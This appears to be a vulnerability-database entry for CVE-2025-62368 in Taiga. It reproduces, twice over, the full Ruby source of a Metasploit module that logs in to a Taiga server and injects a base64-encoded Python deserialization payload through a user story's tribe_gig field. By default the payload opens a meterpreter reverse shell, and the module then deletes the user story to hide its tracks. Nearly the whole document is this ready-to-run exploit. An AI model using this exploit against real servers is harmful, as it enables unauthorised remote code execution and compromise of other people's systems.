9
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Description
This module exploits an unserialization flaw by creating a userstory in a project. Module Options msf use exploit/multi/http/taigatribegigunserial msf exploittaigatribegigunserial show targets ...targets... msf exploittaigatribegigunserial set TARGET...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-TAIGA_TRIBE_GIG_UNSERIAL-
Published
Jan 7, 2026 at 18:58
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class TaigaClientException < StandardError; end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
'Description' => %q{
This module exploits an unserialization flaw by
creating a userstory in a project.
},
'License' => MSF_LICENSE,
'Author' => [
'rootjog', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
['CVE', '2025-62368']
],
'Platform' => %w[linux unix python],
'Targets' => [
[
'Python payload',
{
'Arch' => [ ARCH_PYTHON ],
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ],
'Platform' => %w[unix linux],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultOptions' => {
'SSL' => false
},
'Privileged' => false,
'DisclosureDate' => '2025-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
username: user,
password: pass,
type: 'normal'
}.to_json,
'keep_cookies' => true
)
raise TaigaClientException, 'Login failed' if res&.code != 200
parsed_json = res.get_json_document
@token = parsed_json['auth_token']
@taiga_user_id = parsed_json['id']
end
def get_project
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get projects failed!' if res&.code != 200
projects = res.get_json_document
projects.each do |project|
@taiga_project = project['id'] if project['is_kanban_activated']
end
raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
end
def get_status
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
'vars_get' => { 'project' => @taiga_project },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get status failed!' if res&.code != 200
status_data = res.get_json_document
raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
status_data['statuses'].each do |stat|
return stat['id'] if stat['name'] == 'New'
end
end
def delete_userstory(id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
'method' => 'DELETE',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'keep_cookies' => true
)
end
def send_payload(payload, project_status)
temp_project = Rex::Text.rand_text_alpha(10..15)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'data' => {
_attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
tribe_gig: payload.to_s
}.to_json
)
end
def check
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
project_status = get_status
rescue TaigaClientException => e
return Exploit::CheckCode::Unknown(e)
end
sleep_time = rand(5..10)
pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
command = Rex::Text.encode_base64(pl)
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_payload(command, project_status)
end
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
user_story_id = res.get_json_document['id']
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_status("Elapsed time: #{elapsed_time} seconds.")
return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
Exploit::CheckCode::Safe('Target is not vulnerable')
end
def execute_command(cmd, _opts = {})
# calls some method to inject cmd to the vulnerable code.
begin
project_status = get_status
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
print_status('Sending payload..')
res = send_payload(cmd, project_status)
print_good('Payload sent')
user_story_id = res.get_json_document['id']
print_status('Cleanup..')
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_good('Userstory deleted')
end
def exploit
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
if target['Type'] == :python
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
else
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
end
data = Rex::Text.encode_base64(command)
execute_command(data)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class TaigaClientException < StandardError; end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
'Description' => %q{
This module exploits an unserialization flaw by
creating a userstory in a project.
},
'License' => MSF_LICENSE,
'Author' => [
'rootjog', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
['CVE', '2025-62368']
],
'Platform' => %w[linux unix python],
'Targets' => [
[
'Python payload',
{
'Arch' => [ ARCH_PYTHON ],
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ],
'Platform' => %w[unix linux],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultOptions' => {
'SSL' => false
},
'Privileged' => false,
'DisclosureDate' => '2025-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
username: user,
password: pass,
type: 'normal'
}.to_json,
'keep_cookies' => true
)
raise TaigaClientException, 'Login failed' if res&.code != 200
parsed_json = res.get_json_document
@token = parsed_json['auth_token']
@taiga_user_id = parsed_json['id']
end
def get_project
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get projects failed!' if res&.code != 200
projects = res.get_json_document
projects.each do |project|
@taiga_project = project['id'] if project['is_kanban_activated']
end
raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
end
def get_status
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
'vars_get' => { 'project' => @taiga_project },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get status failed!' if res&.code != 200
status_data = res.get_json_document
raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
status_data['statuses'].each do |stat|
return stat['id'] if stat['name'] == 'New'
end
end
def delete_userstory(id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
'method' => 'DELETE',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'keep_cookies' => true
)
end
def send_payload(payload, project_status)
temp_project = Rex::Text.rand_text_alpha(10..15)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'data' => {
_attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
tribe_gig: payload.to_s
}.to_json
)
end
def check
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
project_status = get_status
rescue TaigaClientException => e
return Exploit::CheckCode::Unknown(e)
end
sleep_time = rand(5..10)
pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
command = Rex::Text.encode_base64(pl)
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_payload(command, project_status)
end
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
user_story_id = res.get_json_document['id']
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_status("Elapsed time: #{elapsed_time} seconds.")
return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
Exploit::CheckCode::Safe('Target is not vulnerable')
end
def execute_command(cmd, _opts = {})
# calls some method to inject cmd to the vulnerable code.
begin
project_status = get_status
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
print_status('Sending payload..')
res = send_payload(cmd, project_status)
print_good('Payload sent')
user_story_id = res.get_json_document['id']
print_status('Cleanup..')
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_good('Userstory deleted')
end
def exploit
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
if target['Type'] == :python
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
else
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
end
data = Rex::Text.encode_base64(command)
execute_command(data)
end
end